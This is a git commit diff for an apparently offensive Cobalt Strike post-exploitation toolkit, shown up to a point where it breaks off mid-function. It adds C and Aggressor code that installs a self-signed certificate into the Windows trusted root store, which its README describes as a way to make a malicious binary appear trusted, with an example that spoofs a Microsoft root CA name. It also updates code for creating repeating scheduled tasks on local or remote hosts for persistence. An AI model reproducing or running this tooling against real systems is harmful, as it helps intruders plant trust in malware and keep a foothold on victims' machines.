소스 검색

Update toolkit

unknown 2 년 전
부모
커밋
1e352764a5
39개의 변경된 파일1346개의 추가작업 그리고 332개의 파일을 삭제
  1. 27 0
      KIT/AddLocalCert/README.md
  2. 90 0
      KIT/AddLocalCert/addlocalcert.c
  3. 44 0
      KIT/AddLocalCert/addlocalcert.cna
  4. 21 0
      KIT/AddLocalCert/addlocalcert.h
  5. BIN
      KIT/AddLocalCert/addlocalcert.o
  6. 0 0
      KIT/AddLocalCert/beacon.h
  7. 6 0
      KIT/AddLocalCert/bofcompile.bat
  8. 12 15
      KIT/AddTaskScheduler/README.md
  9. 104 199
      KIT/AddTaskScheduler/addtaskscheduler.c
  10. 92 0
      KIT/AddTaskScheduler/addtaskscheduler.cna
  11. 0 0
      KIT/AddTaskScheduler/addtaskscheduler.h
  12. BIN
      KIT/AddTaskScheduler/addtaskscheduler.o
  13. 69 0
      KIT/AddTaskScheduler/beacon.h
  14. 5 0
      KIT/AddTaskScheduler/bofcompile.bat
  15. 19 0
      KIT/DelLocalCert/README.md
  16. 69 0
      KIT/DelLocalCert/beacon.h
  17. 4 0
      KIT/DelLocalCert/bofcompile.bat
  18. 85 0
      KIT/DelLocalCert/dellocalcert.c
  19. 38 0
      KIT/DelLocalCert/dellocalcert.cna
  20. 15 0
      KIT/DelLocalCert/dellocalcert.h
  21. BIN
      KIT/DelLocalCert/dellocalcert.o
  22. 22 0
      KIT/DelTaskScheduler/README.md
  23. 69 0
      KIT/DelTaskScheduler/beacon.h
  24. 5 0
      KIT/DelTaskScheduler/bofcompile.bat
  25. 89 0
      KIT/DelTaskScheduler/deltaskscheduler.c
  26. 35 0
      KIT/DelTaskScheduler/deltaskscheduler.cna
  27. 16 0
      KIT/DelTaskScheduler/deltaskscheduler.h
  28. BIN
      KIT/DelTaskScheduler/deltaskscheduler.o
  29. 17 0
      KIT/EnumLocalCert/README.md
  30. 69 0
      KIT/EnumLocalCert/beacon.h
  31. 6 0
      KIT/EnumLocalCert/bofcompile.bat
  32. 244 0
      KIT/EnumLocalCert/enumlocalcert.c
  33. 30 0
      KIT/EnumLocalCert/enumlocalcert.cna
  34. 39 0
      KIT/EnumLocalCert/enumlocalcert.h
  35. BIN
      KIT/EnumLocalCert/enumlocalcert.o
  36. 0 5
      KIT/TaskScheduler/bofcompile.bat
  37. 0 113
      KIT/TaskScheduler/taskscheduler.cna
  38. BIN
      KIT/TaskScheduler/taskscheduler.o
  39. 5 0
      README.md

+ 27 - 0
KIT/AddLocalCert/README.md

@@ -0,0 +1,27 @@
+# AddLocalCert
+Add a (self signed) certificate to a specific local computer certificate store. For example, add a self signed certificate -that you also used to sign your malicious binary with- to the \"Trusted Root Certification Authorities\" (ROOT) folder on the local computer. 
+
+>All the properties are filled in based on the metadata in the certificate except the \"Friendly Name\" property. This property needs to be set manually as an argument.
+
+
+## Arguments
+* `<path to certificate file>`: the path on your own attacker system to the `certificate.cer` file.
+* `<store name>`: the certificate store name (like `ROOT`) to import the certificate into.
+* `<friendly name>`: the name that is set in the `Friendly Name` property
+
+
+## Usage
+* `addlocalcert <path to certificate.cer file> <store name> \"<friendly name>\" `
+
+
+## Example
+* `addlocalcert C:\Users\operator\Documents\examplecert.cer ROOT "Microsoft Root Certificate Authority 2010"`
+
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 
+
+

+ 90 - 0
KIT/AddLocalCert/addlocalcert.c

@@ -0,0 +1,90 @@
+#include <windows.h>
+#include <wincrypt.h>
+#include <stdio.h>
+#include "addlocalcert.h"
+#include "beacon.h"
+
+#pragma comment(lib, "Crypt32.lib")
+#pragma comment(lib, "Advapi32.lib")
+
+
+
+BOOL addCertificateToRootStore(wchar_t *store, const char *friendlyName, const char *certFileBytes, int iBytesLen) {
+    BOOL result = FALSE;
+    HCERTSTORE hStore = NULL;
+    PCCERT_CONTEXT pCertContext = NULL;
+
+    // Open Local Computer store
+    hStore = CRYPT32$CertOpenStore(CERT_STORE_PROV_SYSTEM_W, 0, (HCRYPTPROV)NULL, CERT_SYSTEM_STORE_LOCAL_MACHINE | CERT_STORE_OPEN_EXISTING_FLAG, store); 
+    if (!hStore) {
+        BeaconPrintf(CALLBACK_ERROR, "Failed to open specified certificate store\n");
+        goto cleanup;
+    }
+
+    // Add the encoded certificate to the store
+    PCCERT_CONTEXT pCertAdded = NULL;
+    BOOL addCertResult = CRYPT32$CertAddEncodedCertificateToStore(hStore, X509_ASN_ENCODING, certFileBytes, iBytesLen, CERT_STORE_ADD_NEW, &pCertAdded); //CERT_STORE_ADD_NEW | CERT_STORE_ADD_REPLACE_EXISTING
+    if (!addCertResult) {
+        DWORD dwError = KERNEL32$GetLastError();
+        if (dwError == 5 || dwError == 0x80070005) {
+            BeaconPrintf(CALLBACK_ERROR, "Failed to add certificate to the store due to insufficient privileges.\n");
+        } else if (dwError == 0x80092005) {
+            BeaconPrintf(CALLBACK_ERROR, "Failed to add certificate to the store because the certificate already exists.\n");
+		} else if (dwError == 0x80093102) {
+            BeaconPrintf(CALLBACK_ERROR, "Failed to add certificate to the store because the certificate is invalid.\n");
+        } else {
+            BeaconPrintf(CALLBACK_ERROR,"Failed to add certificate to the store with error code: %x\n", dwError);
+        }
+        goto cleanup;
+    }
+
+    result = TRUE;
+    BeaconPrintf(CALLBACK_OUTPUT, "[+] Certificate added successfully to store!\n");
+
+    // Set the "Friendly Name" property
+    CRYPT_DATA_BLOB friendlyNameBlob;
+    DWORD friendlyNameLen = MSVCRT$strlen(friendlyName) + 1;
+    WCHAR *friendlyNameW = (WCHAR *)KERNEL32$LocalAlloc(LPTR, friendlyNameLen * sizeof(WCHAR));
+    if (!friendlyNameW) goto cleanup;
+
+    KERNEL32$MultiByteToWideChar(CP_ACP, 0, friendlyName, -1, friendlyNameW, friendlyNameLen);
+    friendlyNameBlob.cbData = friendlyNameLen * sizeof(WCHAR);
+    friendlyNameBlob.pbData = (BYTE *)friendlyNameW;
+
+    if (!CRYPT32$CertSetCertificateContextProperty(pCertAdded, CERT_FRIENDLY_NAME_PROP_ID, 0, &friendlyNameBlob)) goto cleanup;
+
+cleanup:
+    if (hStore) CRYPT32$CertCloseStore(hStore, 0);
+    if (friendlyNameW) KERNEL32$LocalFree(friendlyNameW);
+    if (pCertAdded) CRYPT32$CertFreeCertificateContext(pCertAdded);
+
+    return result;
+}
+
+
+int go(char *args, int len) {
+	WCHAR *store = NULL; // Options: ROOT, MY, TRUST, CA, USERDS, AuthRoot, Disallowed
+	CHAR *friendlyName = NULL;
+	int iBytesLen = 0;
+	CHAR *certFileBytes;
+	datap parser;
+	
+	BeaconDataParse(&parser, args, len);
+	certFileBytes = BeaconDataExtract(&parser, &iBytesLen);
+	store = BeaconDataExtract(&parser, NULL);
+	friendlyName = BeaconDataExtract(&parser, NULL);
+	
+	
+	if(iBytesLen != 0) {
+		if(store != NULL) {
+			BeaconPrintf(CALLBACK_OUTPUT, "Starting task to add certificate to %ls store..\n", store);
+			BeaconPrintf(CALLBACK_OUTPUT, "Found and loaded certificate into memory with file size: %d\n", iBytesLen);
+		
+			addCertificateToRootStore(store, friendlyName, certFileBytes, iBytesLen);
+		} else BeaconPrintf(CALLBACK_ERROR, "Please specify the name of the local computer store to open.\n");
+	} else BeaconPrintf(CALLBACK_ERROR, "Couldn't find the specified certificate file on disk.\n");
+
+	
+
+	return 0;
+}

+ 44 - 0
KIT/AddLocalCert/addlocalcert.cna

@@ -0,0 +1,44 @@
+# author REDMED-X
+
+beacon_command_register(
+	"addlocalcert", "Add a self signed certificate to a specified local computer certificate store.",
+	"INFO:\nAdd a (self signed) certificate to a specified local computer certificate store. For example, add a certificate to the \"Trusted Root Certification Authorities\" (ROOT) folder on the local computer. All the properties are filled in based on the metadata in the certificate except the \"Friendly Name\" property. This property needs to be set manually as an argument.\n\n" .
+	"ARGUMENTS:\n[<path to certificate file>]: the path on your own attacker system to the certificate.cer file.\n[<store name>]: the certificate store name (like ROOT) to import the certificate into.\n[<friendly name>]: the name that is set in the \"Friendly Name\" property.\n\n" .
+	"USAGE:\naddlocalcert <path to certificate.cer file> <store name> \"<friendly name>\" \n\n" .
+	"EXAMPLES:\naddlocalcert C:\\Users\\operator\\Documents\\examplecert.cer ROOT \"Microsoft Root Certificate Authority 2010\"\n\n");
+	
+alias addlocalcert {
+    $bid = $1;
+	$path = $2;
+    $store = $3;
+	$name = $4;
+	
+	
+	if ($path eq "") {
+		berror($bid, "Please specify the path to the certicate.cer file on your own system.\n");
+		return;
+	}
+
+	if ($store eq "") {
+		berror($bid, "Please specify a valid local computer certificate store name like ROOT.\n");
+		return;
+	}
+	
+	# read in the certificate.cer file
+	$handle = openf("$path");
+	$certfile = readb($handle, -1);
+	closef($handle);
+	
+	blog($bid, "path: $+  $path");
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("addlocalcert.o"));
+    $data = readb($handle, -1);
+    closef($handle);
+
+	# Pack our arguments
+    $arg_data = bof_pack($bid, "bZz", $certfile, $store, $name);
+
+	blog($bid, "Tasked to add a certificate to a local computer store..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}

+ 21 - 0
KIT/AddLocalCert/addlocalcert.h

@@ -0,0 +1,21 @@
+#include <windows.h>  
+
+//addCertificateToRootStore
+DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertAddEncodedCertificateToStore(HCERTSTORE hCertStore, DWORD dwCertEncodingType, const BYTE *pbCertEncoded, DWORD cbCertEncoded, DWORD dwAddDisposition, PCCERT_CONTEXT *ppCertContext);
+DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertSetCertificateContextProperty(PCCERT_CONTEXT pCertContext, DWORD dwPropId, DWORD dwFlags, const void *pvData);
+DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertFreeCertificateContext(PCCERT_CONTEXT pCertContext);
+DECLSPEC_IMPORT HCERTSTORE WINAPI CRYPT32$CertOpenStore(LPCWSTR lpszStoreProvider, DWORD dwEncodingType, HCRYPTPROV hCryptProv, DWORD dwFlags, const void *pvPara);
+DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertCloseStore(HCERTSTORE hCertStore, DWORD dwFlags);
+DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
+WINBASEAPI int __cdecl MSVCRT$fopen_s(FILE **_File, const char *_Filename, const char *_Mode);
+WINBASEAPI int __cdecl MSVCRT$fseek(FILE *_File, long _Offset, int _Origin);
+WINBASEAPI long __cdecl MSVCRT$ftell(FILE *_File);
+WINBASEAPI size_t __cdecl MSVCRT$fread(void * _DstBuf, size_t _ElementSize, size_t _Count, FILE * _File);
+WINBASEAPI int __cdecl MSVCRT$fclose(FILE *_File);
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
+WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str);
+DECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalAlloc(UINT uFlags, SIZE_T uBytes);
+DECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL hMem);
+WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(void);
+
+

BIN
KIT/AddLocalCert/addlocalcert.o


+ 0 - 0
KIT/TaskScheduler/beacon.h → KIT/AddLocalCert/beacon.h


+ 6 - 0
KIT/AddLocalCert/bofcompile.bat

@@ -0,0 +1,6 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc addlocalcert.c
+move /y addlocalcert.obj addlocalcert.o
+
+

+ 12 - 15
KIT/TaskScheduler/README.md → KIT/AddTaskScheduler/README.md

@@ -1,11 +1,9 @@
-# TaskScheduler
-This tool can be used to create or delete a scheduled task on the current system or a remote host. It supports multiple trigger options. 
+# AddTaskScheduler
+This tool can be used to create a scheduled task on the current system or a remote host. It supports multiple trigger options. 
 
 >As a rule of thumb, setting a scheduled task for any user but yourself, requires elevated privileges. Furthermore, the tool returns error codes if the operation fails. The most common error codes are: 80070005 (not enough privileges), 80041318/80041319 (most likely you made a typo in one of the input fields), and 80070002 (scheduled task doesn't exist). 
 
 ## Basic parameters
-* `create`: Indicate that you want to create a new scheduled task.
-* `delete`: Indicate that you want to delete an existing scheduled task.
 * `taskName`: The name of the scheduled task.
 * `hostName`: Specify `""` for the current system or the FQDN of the remote host: `DB01.example.local`. 
 * `programPath`: Path to the program that you want to run like: `C:\Windows\System32\cmd.exe`.
@@ -26,21 +24,20 @@ This tool can be used to create or delete a scheduled task on the current system
 * `daysInterval`: Interval in number of days. For example: `1` or `3`.
 * `delay`: Random time delay after the start time in which the trigger is hit. Use format `PT2H` for hours and `PT15M` for minutes.
 * `userID`: Specify the user for which the trigger is set in format: `"DOMAIN\username"` for domain users, `username` for local system users and `""` for all users (requires admin privs if set for another user or all users).
+* `repeatTask`: Set "Repeat task every x minutes/hours" option in format `PT2H` with a duration of `Indefinitely`.
 
 ## Usage
-* `taskscheduler create <taskName> <(optional) hostName> <programPath> "<(optional) programArguments>" onetime <startTime>`
-* `taskscheduler create <taskName> <(optional) hostName> <programPath> "<(optional) programArguments>" daily <startTime> <(optional) expireTime> <(optional) daysInterval> <(optional) delay>`
-* `taskscheduler create <taskName> <(optional) hostName> <programPath> "<(optional) programArguments>" logon <(optional) userID>`
-* `taskscheduler create <taskName> <(optional) hostName> <programPath> "<(optional) programArguments>" startup <(optional) delay>`
-* `taskscheduler create <taskName> <(optional) hostName> <programPath> "<(optional) programArguments>" lock <(optional) userID> <(optional) delay>`
-* `taskscheduler create <taskName> <(optional) hostName> <programPath> "<(optional) programArguments>" unlock <(optional) userID> <(optional) delay>`
-* `taskscheduler delete <taskName> <(optional) hostName>`
+* `addtaskscheduler <taskName> <(optional) hostName> <programPath> "<(optional) programArguments>" onetime <startTime> <(optional) repeatTask>`
+* `addtaskscheduler <taskName> <(optional) hostName> <programPath> "<(optional) programArguments>" daily <startTime> <(optional) expireTime> <(optional) daysInterval> <(optional) delay>`
+* `addtaskscheduler <taskName> <(optional) hostName> <programPath> "<(optional) programArguments>" logon <(optional) userID>`
+* `addtaskscheduler <taskName> <(optional) hostName> <programPath> "<(optional) programArguments>" startup <(optional) delay>`
+* `addtaskscheduler <taskName> <(optional) hostName> <programPath> "<(optional) programArguments>" lock <(optional) userID> <(optional) delay>`
+* `addtaskscheduler <taskName> <(optional) hostName> <programPath> "<(optional) programArguments>" unlock <(optional) userID> <(optional) delay>`
 
 ## Examples
-* `taskscheduler create TestTask "" C:\Windows\System32\cmd.exe "/c C:\Windows\System32\calc.exe" daily 2023-03-24T12:08:00 2023-03-28T12:14:00 1 PT2H`
-* `taskscheduler create NewTask DB01.example.local C:\Users\Public\Downloads\legit.exe "" logon Testdomain\Administrator`
-* `taskscheduler create OneDrive "" C:\Data\OneDrive.exe "" unlock "" PT5M`
-* `taskscheduler delete TestTask DB01.example.local`
+* `addtaskscheduler TestTask "" C:\Windows\System32\cmd.exe "/c C:\Windows\System32\calc.exe" daily 2023-03-24T12:08:00 2023-03-28T12:14:00 1 PT2H`
+* `addtaskscheduler NewTask DB01.example.local C:\Users\Public\Downloads\legit.exe "" logon Testdomain\Administrator`
+* `addtaskscheduler OneDrive "" C:\Data\OneDrive.exe "" unlock "" PT5M`
 
 ## Compile
 - 1\. Make sure Visual Studio is installed and supports C/C++.

+ 104 - 199
KIT/TaskScheduler/taskscheduler.c → KIT/AddTaskScheduler/addtaskscheduler.c

@@ -2,30 +2,46 @@
 #include <windows.h>
 #include <taskschd.h>
 #include <combaseapi.h>
-#include "taskscheduler.h"
+#include "addtaskscheduler.h"
 #include "beacon.h"
 
 
-HRESULT SetOneTimeTask(HRESULT hr, ITriggerCollection* pTriggerCollection, wchar_t* startTime) {
-	IID IIDITimeTrigger = {0xb45747e0, 0xeba7, 0x4276, {0x9f, 0x29, 0x85, 0xc5, 0xbb, 0x30, 0x00, 0x06}}; 
-	ITrigger* pTrigger = NULL;
-	
-	hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, TASK_TRIGGER_TIME, &pTrigger);
-	if (SUCCEEDED(hr)) {
-		ITimeTrigger* pTimeTrigger = NULL;
-		
-		hr = pTrigger->lpVtbl->QueryInterface(pTrigger, &IIDITimeTrigger, (void**)&pTimeTrigger);
-		if (SUCCEEDED(hr)) {
-			BSTR startTimeBstr = OLEAUT32$SysAllocString(startTime);
-			pTimeTrigger->lpVtbl->put_StartBoundary(pTimeTrigger, startTimeBstr);
-			OLEAUT32$SysFreeString(startTimeBstr);
-			pTimeTrigger->lpVtbl->Release(pTimeTrigger);
-		}
-		pTrigger->lpVtbl->Release(pTrigger);
-	}
-	pTriggerCollection->lpVtbl->Release(pTriggerCollection);
+HRESULT SetOneTimeTask(HRESULT hr, ITriggerCollection* pTriggerCollection, wchar_t* startTime, wchar_t* repeatTask) {
+    IID IIDITimeTrigger = {0xb45747e0, 0xeba7, 0x4276, {0x9f, 0x29, 0x85, 0xc5, 0xbb, 0x30, 0x00, 0x06}};
+    ITrigger* pTrigger = NULL;
 
-	return hr;
+    hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, TASK_TRIGGER_TIME, &pTrigger);
+    if (SUCCEEDED(hr)) {
+        ITimeTrigger* pTimeTrigger = NULL;
+
+        hr = pTrigger->lpVtbl->QueryInterface(pTrigger, &IIDITimeTrigger, (void**)&pTimeTrigger);
+        if (SUCCEEDED(hr)) {
+            BSTR startTimeBstr = OLEAUT32$SysAllocString(startTime);
+            pTimeTrigger->lpVtbl->put_StartBoundary(pTimeTrigger, startTimeBstr);
+
+            IRepetitionPattern* pRepetitionPattern = NULL;
+            hr = pTimeTrigger->lpVtbl->get_Repetition(pTimeTrigger, &pRepetitionPattern);
+            if (SUCCEEDED(hr)) {
+                BSTR repeatTaskBstr = OLEAUT32$SysAllocString(repeatTask); 
+                BSTR durationBstr = OLEAUT32$SysAllocString(L"");  // Indefinite duration
+
+                pRepetitionPattern->lpVtbl->put_Interval(pRepetitionPattern, repeatTaskBstr);
+                pRepetitionPattern->lpVtbl->put_Duration(pRepetitionPattern, durationBstr);
+                pRepetitionPattern->lpVtbl->Release(pRepetitionPattern);
+
+                OLEAUT32$SysFreeString(repeatTaskBstr);
+                OLEAUT32$SysFreeString(durationBstr);
+            }
+
+            pTimeTrigger->lpVtbl->put_Repetition(pTimeTrigger, pRepetitionPattern);
+            OLEAUT32$SysFreeString(startTimeBstr);
+            pTimeTrigger->lpVtbl->Release(pTimeTrigger);
+        }
+        pTrigger->lpVtbl->Release(pTrigger);
+    }
+    pTriggerCollection->lpVtbl->Release(pTriggerCollection);
+
+    return hr;
 }
 
 
@@ -173,7 +189,7 @@ HRESULT SetUnlockTask(HRESULT hr, ITriggerCollection* pTriggerCollection, wchar_
 }
 
 
-BOOL CreateScheduledTask(char* triggerType, wchar_t* taskName, wchar_t * host, wchar_t* programPath, wchar_t* programArguments, wchar_t* startTime, wchar_t* expireTime, int daysInterval, wchar_t* delay, wchar_t* userID) {
+BOOL CreateScheduledTask(char* triggerType, wchar_t* taskName, wchar_t * host, wchar_t* programPath, wchar_t* programArguments, wchar_t* startTime, wchar_t* expireTime, int daysInterval, wchar_t* delay, wchar_t* userID, wchar_t* repeatTask) {
     BOOL actionResult = FALSE;
 	HRESULT hr = S_OK;
 
@@ -186,7 +202,6 @@ BOOL CreateScheduledTask(char* triggerType, wchar_t* taskName, wchar_t * host, w
     hr = OLE32$CoCreateInstance(&CTaskScheduler, NULL, CLSCTX_INPROC_SERVER, &IIDITaskService, (void**)&pTaskService);
     if (FAILED(hr)) {
 		//MSVCRT$printf("Failed to create ITaskService: %x\n", hr); //DEBUG
-        OLE32$CoUninitialize();
         return actionResult;
     }
 	
@@ -200,9 +215,7 @@ BOOL CreateScheduledTask(char* triggerType, wchar_t* taskName, wchar_t * host, w
 	hr = pTaskService->lpVtbl->Connect(pTaskService, Vhost, VNull, VNull, VNull); 
     if (FAILED(hr)) {
         //MSVCRT$printf("ITaskService::Connect failed: %x\n", hr); //DEBUG
-        pTaskService->lpVtbl->Release(pTaskService);
-        OLE32$CoUninitialize();
-        return actionResult;
+		goto cleanup;
     }
 	
 	ITaskFolder* pTaskFolder = NULL;
@@ -210,21 +223,14 @@ BOOL CreateScheduledTask(char* triggerType, wchar_t* taskName, wchar_t * host, w
 	hr = pTaskService->lpVtbl->GetFolder(pTaskService, folderPathBstr, &pTaskFolder);
 	if (FAILED(hr)) {
 		//MSVCRT$printf("ITaskService::GetFolder failed: %x\n", hr); //DEBUG
-		pTaskService->lpVtbl->Release(pTaskService);
-		OLE32$CoUninitialize();
-		OLEAUT32$SysFreeString(folderPathBstr);
-		return actionResult;
+		goto cleanup;
 	}
 	OLEAUT32$SysFreeString(folderPathBstr);
 
     ITaskDefinition* pTaskDefinition = NULL;
     hr = pTaskService->lpVtbl->NewTask(pTaskService, 0, &pTaskDefinition);
     if (FAILED(hr)) {
-        //MSVCRT$printf("ITaskService::NewTask failed: %x\n", hr); //DEBUG
-        pTaskFolder->lpVtbl->Release(pTaskFolder);
-        pTaskService->lpVtbl->Release(pTaskService);
-        OLE32$CoUninitialize();
-        return actionResult;
+		goto cleanup;
     }
 	
     IPrincipal* pPrincipal = NULL;
@@ -238,16 +244,12 @@ BOOL CreateScheduledTask(char* triggerType, wchar_t* taskName, wchar_t * host, w
     hr = pTaskDefinition->lpVtbl->get_Triggers(pTaskDefinition, &pTriggerCollection);
     if (FAILED(hr)) {
         //MSVCRT$printf("ITaskDefinition::get_Triggers failed: %x\n", hr); //DEBUG
-        pTaskDefinition->lpVtbl->Release(pTaskDefinition);
-        pTaskFolder->lpVtbl->Release(pTaskFolder);
-        pTaskService->lpVtbl->Release(pTaskService);
-        OLE32$CoUninitialize();
-        return actionResult;
+		goto cleanup;
     }
 
 	//trigger options
 	if (MSVCRT$strcmp(triggerType, "onetime") == 0) {
-		hr = SetOneTimeTask(hr, pTriggerCollection, startTime);
+		hr = SetOneTimeTask(hr, pTriggerCollection, startTime, repeatTask);
 	} else if (MSVCRT$strcmp(triggerType, "daily") == 0) {
 		hr = SetDailyTask(hr, pTriggerCollection, startTime, expireTime, daysInterval, delay); 
 	} else if (MSVCRT$strcmp(triggerType, "logon") == 0) {
@@ -261,63 +263,32 @@ BOOL CreateScheduledTask(char* triggerType, wchar_t* taskName, wchar_t * host, w
 	} 
 	else {
 		//MSVCRT$printf("[-] [%ls] is not a supported trigger type\n", triggerType); //DEBUG
-		pTaskDefinition->lpVtbl->Release(pTaskDefinition);
-        pTaskFolder->lpVtbl->Release(pTaskFolder);
-        pTaskService->lpVtbl->Release(pTaskService);
-        OLE32$CoUninitialize();
-		return actionResult;
+		goto cleanup;
 	}
 	
 	IActionCollection* pActionCollection = NULL;
     hr = pTaskDefinition->lpVtbl->get_Actions(pTaskDefinition, &pActionCollection);
     if (FAILED(hr)) {
-        //MSVCRT$printf("ITaskDefinition::get_Actions failed: %x\n", hr); //DEBUG
-        pTaskDefinition->lpVtbl->Release(pTaskDefinition);
-        pTaskFolder->lpVtbl->Release(pTaskFolder);
-        pTaskService->lpVtbl->Release(pTaskService);
-        OLE32$CoUninitialize();
-        return actionResult;
+		goto cleanup;
     }
 	
     IAction* pAction = NULL;
     hr = pActionCollection->lpVtbl->Create(pActionCollection, TASK_ACTION_EXEC, &pAction);
     if (FAILED(hr)) {
-        //MSVCRT$printf("IActionCollection::Create failed: %x\n", hr); //DEBUG
-        pActionCollection->lpVtbl->Release(pActionCollection);
-        pTaskDefinition->lpVtbl->Release(pTaskDefinition);
-        pTaskFolder->lpVtbl->Release(pTaskFolder);
-        pTaskService->lpVtbl->Release(pTaskService);
-        OLE32$CoUninitialize();
-        return actionResult;
+		goto cleanup;
     }
 
 	IID IIDIExecAction = {0x4c3d624d, 0xfd6b, 0x49a3, {0xb9, 0xb7, 0x09, 0xcb, 0x3c, 0xd3, 0xf0, 0x47}};
     IExecAction* pExecAction = NULL;
     hr = pAction->lpVtbl->QueryInterface(pAction, &IIDIExecAction, (void**)&pExecAction);
     if (FAILED(hr)) {
-        //MSVCRT$printf("IAction::QueryInterface failed: %x\n", hr); //DEBUG
-        pAction->lpVtbl->Release(pAction);
-        pActionCollection->lpVtbl->Release(pActionCollection);
-        pTaskDefinition->lpVtbl->Release(pTaskDefinition);
-        pTaskFolder->lpVtbl->Release(pTaskFolder);
-        pTaskService->lpVtbl->Release(pTaskService);
-        OLE32$CoUninitialize();
-        return actionResult;
+		goto cleanup;
     }
 	
 	BSTR programPathBstr = OLEAUT32$SysAllocString(programPath);
     hr = pExecAction->lpVtbl->put_Path(pExecAction, programPathBstr);
     if (FAILED(hr)) {
-        //MSVCRT$printf("IExecAction::put_Path failed: %x\n", hr); //DEBUG
-        pExecAction->lpVtbl->Release(pExecAction);
-        pAction->lpVtbl->Release(pAction);
-        pActionCollection->lpVtbl->Release(pActionCollection);
-        pTaskDefinition->lpVtbl->Release(pTaskDefinition);
-        pTaskFolder->lpVtbl->Release(pTaskFolder);
-        pTaskService->lpVtbl->Release(pTaskService);
-        OLE32$CoUninitialize();
-		OLEAUT32$SysFreeString(programPathBstr);
-        return actionResult;
+		goto cleanup;
     }
 	OLEAUT32$SysFreeString(programPathBstr);
 	
@@ -325,16 +296,7 @@ BOOL CreateScheduledTask(char* triggerType, wchar_t* taskName, wchar_t * host, w
 	BSTR programArgumentsBstr = OLEAUT32$SysAllocString(programArguments);
     hr = pExecAction->lpVtbl->put_Arguments(pExecAction, programArgumentsBstr);
     if (FAILED(hr)) {
-        //MSVCRT$printf("IExecAction::put_Arguments failed: %x\n", hr); //DEBUG
-        pExecAction->lpVtbl->Release(pExecAction);
-        pAction->lpVtbl->Release(pAction);
-        pActionCollection->lpVtbl->Release(pActionCollection);
-        pTaskDefinition->lpVtbl->Release(pTaskDefinition);
-        pTaskFolder->lpVtbl->Release(pTaskFolder);
-        pTaskService->lpVtbl->Release(pTaskService);
-        OLE32$CoUninitialize();
-		OLEAUT32$SysFreeString(programArgumentsBstr);
-        return actionResult;
+		goto cleanup;
     }
 	OLEAUT32$SysFreeString(programArgumentsBstr);
 	
@@ -349,94 +311,40 @@ BOOL CreateScheduledTask(char* triggerType, wchar_t* taskName, wchar_t * host, w
     } else {
         BeaconPrintf(CALLBACK_OUTPUT, "[+] Scheduled task '%ls' created successfully!\n", taskName);
         actionResult = TRUE;
-        pRegisteredTask->lpVtbl->Release(pRegisteredTask);
     }
 	
-    pActionCollection->lpVtbl->Release(pActionCollection);
-    pTaskDefinition->lpVtbl->Release(pTaskDefinition);
-    pTaskFolder->lpVtbl->Release(pTaskFolder);
-	pTaskService->lpVtbl->Release(pTaskService);
-	
-	OLEAUT32$VariantClear(&Vhost);
-	OLEAUT32$VariantClear(&VNull);
-	OLE32$CoUninitialize();
-
-	return actionResult;
-}
-
-
-BOOL DeleteScheduledTask(wchar_t* taskName, wchar_t* host) {
-    BOOL actionResult = FALSE;
-	HRESULT hr = S_OK;
-
-    hr = OLE32$CoInitializeEx(NULL, COINIT_MULTITHREADED);
-    if (FAILED(hr)) return actionResult;
-
-	IID CTaskScheduler = {0x0f87369f, 0xa4e5, 0x4cfc, {0xbd,0x3e,0x73,0xe6,0x15,0x45,0x72,0xdd}};
-	IID IIDITaskService = {0x2faba4c7, 0x4da9, 0x4013, {0x96, 0x97, 0x20, 0xcc, 0x3f, 0xd4, 0x0f, 0x85}};
-	ITaskService *pTaskService = NULL;
-    hr = OLE32$CoCreateInstance(&CTaskScheduler, NULL, CLSCTX_INPROC_SERVER, &IIDITaskService, (void**)&pTaskService);
-    if (FAILED(hr)) {
-        //MSVCRT$printf("Failed to create ITaskService: %x\n", hr); //DEBUG
-        OLE32$CoUninitialize();
-        return actionResult;
+cleanup:
+    if (pRegisteredTask) {
+        pRegisteredTask->lpVtbl->Release(pRegisteredTask);
     }
-	
-	VARIANT Vhost;
-	VARIANT VNull;
-	OLEAUT32$VariantInit(&Vhost);
-	OLEAUT32$VariantInit(&VNull);
-	Vhost.vt = VT_BSTR;
-	Vhost.bstrVal = OLEAUT32$SysAllocString(host);
-	
-	hr = pTaskService->lpVtbl->Connect(pTaskService, Vhost, VNull, VNull, VNull); 
-    if (FAILED(hr)) {
-        //MSVCRT$printf("ITaskService::Connect failed: %x\n", hr); //DEBUG
-        pTaskService->lpVtbl->Release(pTaskService);
-        OLE32$CoUninitialize();
-        return actionResult;
+    if (pActionCollection) {
+        pActionCollection->lpVtbl->Release(pActionCollection);
     }
-	
-	ITaskFolder* pTaskFolder = NULL;
-	BSTR folderPathBstr = OLEAUT32$SysAllocString(L"\\");
-	hr = pTaskService->lpVtbl->GetFolder(pTaskService, folderPathBstr, &pTaskFolder);
-	if (FAILED(hr)) {
-		//MSVCRT$printf("ITaskService::GetFolder failed: %x\n", hr); //DEBUG
-		pTaskService->lpVtbl->Release(pTaskService);
-		OLE32$CoUninitialize();
-		OLEAUT32$SysFreeString(folderPathBstr);
-		return actionResult;
-	}
-	OLEAUT32$SysFreeString(folderPathBstr);
-
-    hr = pTaskFolder->lpVtbl->DeleteTask(pTaskFolder, taskName, 0);
-	
-	if (FAILED(hr)) {
-        BeaconPrintf(CALLBACK_ERROR, "Failed to delete the scheduled task with error code: %x\n", hr);
-    } else {
-        BeaconPrintf(CALLBACK_OUTPUT, "[+] Scheduled task '%ls' deleted successfully!\n", taskName);
-        actionResult = TRUE;
+    if (pTaskDefinition) {
